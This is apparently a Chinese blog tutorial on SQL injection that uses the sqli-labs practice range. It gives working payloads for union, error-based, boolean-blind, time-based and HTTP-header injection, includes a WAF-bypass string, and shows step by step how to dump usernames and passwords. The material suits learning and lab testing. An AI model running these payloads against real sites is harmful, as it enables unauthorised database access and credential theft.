sql注入

sql注入

首先,了解MYSQL的cmd命令
https://blog.csdn.net/qq_45040919/article/details/109692165
以及sql语句
https://www.w3cschool.cn/sql/sql-sentence.html
文章参考
https://www.cnblogs.com/cy0628/p/14951129.html
文章参考
https://blog.csdn.net/ga421739102/article/details/102817334
学习视频推荐
千锋网络安全


注入原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

注入分类

  1. 数字型注入
    当输入的参数为整数时,则有可能存在数字型注入漏洞。
    假设存在一条URL为:HTTP://www.aaa.com/test.php?id=1
    可以对后台的SQL语句猜想为:
    SELECT * FROM table WHERE id=1
    判断数字型漏洞SQL注入点:

① 先在输入框中输入一个单引号 ’
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1’,
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。
② 在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据与原始请求无任何差异。
③ 在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

  1. 字符型注入
    当输入参数为字符串时,则可能存在字符型注入漏洞。

数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。

假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = ‘admin’
判断字符型漏洞的 SQL 注入点:

① 还是先输入单引号 admin’ 来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = ‘admin’‘。
页面异常。
② 输入:admin’ and 1 = 1 –
注意:在 admin 后有一个单引号 ‘,用于字符串闭合,最后还有一个注释符 --(两条杠后面还有一个空格!!!)。
SQL 语句变为:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 1 –
页面显示正确。
③ 输入:admin’ and 1 = 2 –
SQL 语句变为:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 2 –
页面错误。

满足上面三个步骤则有可能存在字符型 SQL 注入。

  1. 其他类型
    其它类型比如Cookie 注入、POST 注入、延时注入等。
    POST注入:注入字段在 POST 数据中
    Cookie注入:注入字段在 Cookie 数据中
    延时注入:使用数据库延时特性注入
    搜索注入:注入处为搜索的地方
    base64注入:注入字符串需要经过 base64 加密

注入手法分类

  1. UNION query SQL injection (联合查询注入)
  2. Error-based SQL injection (错型注入)
  3. Boolean-based blind SQL injection (基于布尔的盲注)
  4. Time-based blind SQL injection (基于时间的盲注)
  5. Stacked queries SQL injection (可多语查询注入)

基础知识
参考sql注入天书
靶场搭建
https://github.com/Audi-1/sqli-labs


联合查询
联合查询适合有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化。
我们以sqli-labs第一关为例来学习联合查询。
在这里插入图片描述
在这里插入图片描述
1.页面观察
当我们输入id=1和id=2时,页面中的值发生变化,说明此时我们输入的数据和数据库有交互并且数据显示在屏幕上
2.注入点判断
输入?id=1',页面发生报错,说明后端对前端的数据输入无很好的过滤,产生了sql注入漏洞
在这里插入图片描述
输入?id=1'and 1=1--+,页面正常显示

在这里插入图片描述
输入?id=1'and 1=2 --+,页面不正常显示,说明程序对我们的输入作出了正确的判断,所以注入点就是单引号
在这里插入图片描述
3.判断当前表的字段数
输入?id=1' order by 3 --+ ?id=1' order by 4 --+
正常显示
在这里插入图片描述
不正常显示,说明此时当前表中只有3列
在这里插入图片描述
4.判断显示位
输入?id=-1' union select 1,2,3 --+在2 3处回显
在这里插入图片描述
随便选一个地方放置我们的测试语句,例如 2
5.爆破数据库名字
输入?id=-1' union select 1,database(),3 --+
在这里插入图片描述
6.爆破数据库中的表
输入?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
在这里插入图片描述
7.爆表中的字段
我们这里选择一个表,user进行进一步获取表中的字段值
输入?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
获取到三个字段,分别为id,username,password
在这里插入图片描述
8.爆破相应字段的所有数据
输入?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+
在这里插入图片描述
至此,一次完整的脱库过程结束了,联合查询也就结束了。
报错注入
依旧以less-1为例
1.group by 重复键冲突
输入?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
获取数据库名
在这里插入图片描述
2.extractvalue()函数
输入?id= 1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
在这里插入图片描述
3.updatexml()函数

输入?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
从当前数据库里爆出一个表名
在这里插入图片描述
如果要看第二行,则limit1,1(表示第一行的往下一行),看第三行则为limit2,1,依次往下

爆表中的字段
输入?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),0x7e),1) --+
从当前数据库里的" users “表里爆出一个字段名来
在这里插入图片描述
爆字段中的内容
输入?id=1' and updatexml(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e),1) --+
从” users "表里对应的列名中爆出一个数据来
数据名和密码在这里插入图片描述
布尔盲注
在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功
以less-8为例
输入?id=1
在这里插入图片描述
输入?id=1'
在这里插入图片描述
屏幕中得到的信息只有两种状态
所以我们需要构造判断语句,根据页面是否回显验证假设。一般会用到ascii(),substr(),length(),concat()等
在这里插入图片描述
1.判断数据库类型
用以下语句判断数据库,哪个页面正常显示,就属于哪个数据库。

//判断是否是 Mysql数据库
?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
?id=1' and exists(select*from sysobjects) --+

输入?id=1' and exists(select*from information_schema.tables) --+
有回显,说明是mysql数据库
在这里插入图片描述
2.判断当前数据库名

1:判断当前数据库的长度,利用二分法
?id=1' and length(database())>5 --+  //正常显示
?id=1' and length(database())>10 --+  //不显示任何数据
?id=1' and length(database())>7 --+  //正常显示
?id=1' and length(database())>8 --+  //不显示任何数据

大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符

2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
?id=1' and ascii(substr(database(),3,1))>100 --+

由此可以判断出当前数据库为 security

3.判断当前库的表名

//猜测当前数据库中是否存在admin表
?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
 
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
 
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+

由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

4.判断表的字段

//如果已经证实了存在admin表,那么猜测是否存在username字段
?id=1' and exists(select username from admin) 
  
1:判断表中字段的个数
//判断users表中字段个数是否大于5
?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
 
2:判断每个字段的长度
//判断第一个字段的长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度   
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
 
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+

由此可判断出users表中存在 id、username、password 字段

5.爆字段中的数据

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
 
1: 判断数据的长度
// 判断id字段的第一个数据的长度
?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
?id=1' and length((select id from users limit 1,1))>5 --+
 
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+

基于时间的盲注(延时注入)
延时注入与布尔盲注有类似之处
1、注入点判断

and sleep(5) --+			# 注入点正确时,页面卡住5秒中

2、
if(表达式,值1,值2)可以与盲注结合,形成基于时间的盲注

and if(length(database())=8,sleep(5),1) --+			# 表达式为Ture时,页面卡住5秒。否则页面卡住一秒

Benchmark(ket,)

and benchmark(10000000,sha(1)); --+ # 大概延迟3,4秒的样子

3.可以绕waf的payload

and(select*from(select+sleep(4))a/**/union/**/select+1)='

HTTP头注入
常见的sql注入一般是通过请求参数或者表单进行注入,而HTTP头部注入是通过HTTP头部字段值进行注入。HTTP头注入常存在于以下地方
在这里插入图片描述
产生注入的条件

  • 能够对请求头消息进行修改
  • 修改的请求头信息能够带入数据库进行查询
  • 数据库没有对输入的请求信息做过滤

1.User-Agent注入
以less-18为例,登录用户密码:dumb,0
1.1判断注入点:
user-agent值后面加上’,引发错误,存在sql注入
在这里插入图片描述
1.2采用报错注入获取当前数据库名

' and updatexml(1,concat('^',(database()),'^'),1) and '

在这里插入图片描述
2.cookie注入
以less-20为例
在这里插入图片描述在这里插入图片描述
3.Referer注入
方法类似
4.X-Forwarded-For注入
自行搜索
宽字节注入

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值